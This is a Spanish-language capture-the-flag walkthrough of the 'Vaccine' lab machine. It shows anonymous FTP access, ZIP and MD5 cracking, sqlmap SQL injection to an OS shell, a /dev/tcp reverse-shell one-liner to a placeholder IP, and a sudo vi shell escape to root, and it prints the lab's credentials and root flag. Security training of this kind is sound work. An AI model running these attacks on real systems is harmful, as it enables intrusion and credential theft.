Vaccine pone a prueba habilidades de enumeración y password cracking. El acceso anónimo a FTP expone un archivo ZIP protegido con contraseña que puede crackearse con John The Ripper. Dentro del ZIP hay código fuente PHP con el hash MD5 de las credenciales del admin. Luego se explota una SQL Injection en la aplicación web para obtener RCE como postgres. La escalada se logra abusando del permiso sudo sobre el editor vi (shell escaping).
El servidor expone tres servicios: FTP (21), SSH (22) y HTTP (80). Lo primero a probar es siempre el FTP con usuario anónimo.
ftp 10.129.95.174
# User: anonymous
# Password: (enter vacío)
ftp> ls
# -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
ftp> get backup.zip
zip2john backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Resultado:
# 741852963 (backup.zip)
unzip backup.zip
# Password: 741852963
El archivo index.php del ZIP contiene lógica de login con el hash MD5 de la contraseña del admin hardcodeado:
if($_POST['username'] === 'admin' &&
md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
echo "2cb42f8734ea607eefed3b70af13bbd3" > passwd-admin.txt
john --format=raw-MD5 passwd-admin.txt --wordlist=rockyou.txt
john --show --format=raw-MD5 passwd-admin.txt
# Resultado: qwerty789
Accedemos al panel web con admin:qwerty789. La barra de búsqueda en dashboard.php?search= es vulnerable a SQLi. Usamos SQLMap pasando nuestra cookie de sesión para saltarnos el login:
sqlmap -u 'http://target/dashboard.php?search=test' \
--cookie='PHPSESSID=TU_SESSID' \
--os-shell
# os-shell> bash -c "bash -i >& /dev/tcp/TU_IP/443 0>&1"
SQLMap detecta PostgreSQL como backend y usa COPY ... FROM PROGRAM para lograr ejecución de comandos. Obtenemos shell como el usuario postgres.
# Si la reverse shell no llega, es posible que firewalld bloquee el tráfico VPN
sudo firewall-cmd --zone=trusted --add-interface=tun0
# Esto permite tráfico entrante solo en la interfaz VPN (temporal, se pierde al reiniciar)
Dentro del sistema encontramos credenciales de PostgreSQL en el código fuente de la app: P@s5w0rd!. Con esa contraseña revisamos los permisos sudo:
echo "P@s5w0rd!" | sudo -S -l
# User postgres may run the following commands on vaccine:
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
El administrador cometió el error de permitir vi con sudo. Vi puede ejecutar comandos del sistema operativo desde su modo de comandos — esto se conoce como Shell Escaping:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# Dentro de vi, escribir:
:!/bin/sh
# Resultado: shell como root
# root@vaccine:~# cat root.txt
# dd6e058e814260bc70e9bbdef2715849